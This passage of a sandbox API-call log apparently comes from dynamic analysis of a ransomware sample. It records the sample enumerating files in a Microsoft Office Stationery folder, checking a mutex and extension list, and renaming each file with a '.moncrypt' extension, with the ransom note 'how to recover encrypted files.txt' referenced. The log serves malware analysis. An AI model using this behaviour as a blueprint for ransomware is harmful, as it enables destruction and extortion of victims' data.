0x555b78 [0050.160] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.160] GlobalUnlock (hMem=0x44000c) returned 0 [0050.160] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.160] GlobalUnlock (hMem=0x440004) returned 0 [0050.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.160] CharLowerBuffW (in: lpsz="Graph.emf", cchLength=0x9 | out: lpsz="graph.emf") returned 0x9 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.160] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpUsedDefaultChar=0x0) returned 67 [0050.160] CharLowerBuffW (in: lpsz=".emf", cchLength=0x4 | out: lpsz=".emf") returned 0x4 [0050.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".emf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".emfShared\\Stationery\\Graph.emf", lpUsedDefaultChar=0x0) returned 4 [0050.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 0x54e200 [0050.161] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.161] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.161] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", dwFileAttributes=0x20) returned 0 [0050.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.moncrypt")) returned 0 [0050.162] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0050.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.162] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.162] GlobalLock (hMem=0x440004) returned 0x550170 [0050.162] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.162] GlobalUnlock (hMem=0x440004) returned 0 [0050.162] GlobalLock (hMem=0x440004) returned 0x550170 [0050.162] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.162] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.162] GlobalUnlock (hMem=0x440004) returned 0 [0050.162] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.162] GlobalUnlock (hMem=0x44000c) returned 0 [0050.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.163] CharLowerBuffW (in: lpsz="Green Bubbles.htm", cchLength=0x11 | out: lpsz="green bubbles.htm") returned 0x11 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", cchWideChar=75, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpUsedDefaultChar=0x0) returned 75 [0050.163] CharLowerBuffW (in: lpsz=".htm", cchLength=0x4 | out: lpsz=".htm") returned 0x4 [0050.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".htm", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".htmShared\\Stationery\\Green Bubbles.htm", lpUsedDefaultChar=0x0) returned 4 [0050.163] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0050.163] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.163] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.164] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.164] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.164] GlobalUnlock (hMem=0x44000c) returned 0 [0050.164] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.164] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.164] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.164] GlobalUnlock (hMem=0x44000c) returned 0 [0050.164] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.164] GlobalUnlock (hMem=0x440004) returned 0 [0050.164] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.164] CharLowerBuffW (in: lpsz="GreenBubbles.jpg", cchLength=0x10 | out: lpsz="greenbubbles.jpg") returned 0x10 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", cchWideChar=74, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpgy", lpUsedDefaultChar=0x0) returned 74 [0050.165] CharLowerBuffW (in: lpsz=".jpg", cchLength=0x4 | out: lpsz=".jpg") returned 0x4 [0050.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".jpg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".jpgShared\\Stationery\\GreenBubbles.jpgy", lpUsedDefaultChar=0x0) returned 4 [0050.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 0x54e200 [0050.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.165] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x20) returned 0 [0050.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.moncrypt")) returned 0 [0050.166] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0050.166] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.166] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.167] GlobalLock (hMem=0x440004) returned 0x550170 [0050.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.167] GlobalUnlock (hMem=0x440004) returned 0 [0050.167] GlobalLock (hMem=0x440004) returned 0x550170 [0050.167] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.167] GlobalUnlock (hMem=0x440004) returned 0 [0050.167] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.167] GlobalUnlock (hMem=0x44000c) returned 0 [0050.167] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.167] CharLowerBuffW (in: lpsz="grid_(cm).wmf", cchLength=0xd | out: lpsz="grid_(cm).wmf") returned 0xd [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=")", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=")í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="(", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 